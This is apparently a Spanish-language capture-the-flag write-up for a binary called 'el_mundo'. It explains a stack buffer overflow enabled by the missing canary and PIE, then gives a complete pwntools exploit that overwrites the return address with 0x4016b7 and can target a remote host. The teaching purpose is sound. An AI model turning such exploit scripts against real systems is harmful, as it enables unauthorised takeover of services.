Protecciones#
Análisis#
El exploit aprovecha una vulnerabilidad de desbordamiento de búfer (“buffer overflow”) en el binario analizado. La ausencia de protección ‘stack canary’ permite que el atacante sobrescriba libremente el valor de retorno de una función en la pila. Gracias a que el binario tampoco utiliza protección PIE, la dirección de memoria de las funciones es estática y conocida, facilitando la predictibilidad en el exploit.
El ataque consiste en enviar una cadena de 56 caracteres (‘A’ * 56) para llenar el búfer vulnerable y, a continuación, sobrescribir el ‘return address’ con la dirección de una función o gadget útil para el atacante (en este caso, 0x4016b7). El exploit automatiza este proceso usando Pwntools, logrando que el flujo de ejecución salte a la dirección deseada y alterando el comportamiento esperado del programa.
En resumen, el atacante utiliza el desbordamiento de búfer para tomar el control del flujo de ejecución debido a la falta de canary y PIE, y la técnica es viable porque NX solo impide la ejecución directamente en la pila, pero no bloquea ataques ROP (‘Return Oriented Programming’).
Exploit#
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './el_mundo'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=True)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
## En caso de querer hacer una conexión Remota
#python3 exploit.py REMOTE IP PORT
p = start()
payload = b'A' * 56 + p64(0x4016b7)
p.sendlineafter(b">", payload)
print(p.recv())
p.interactive()



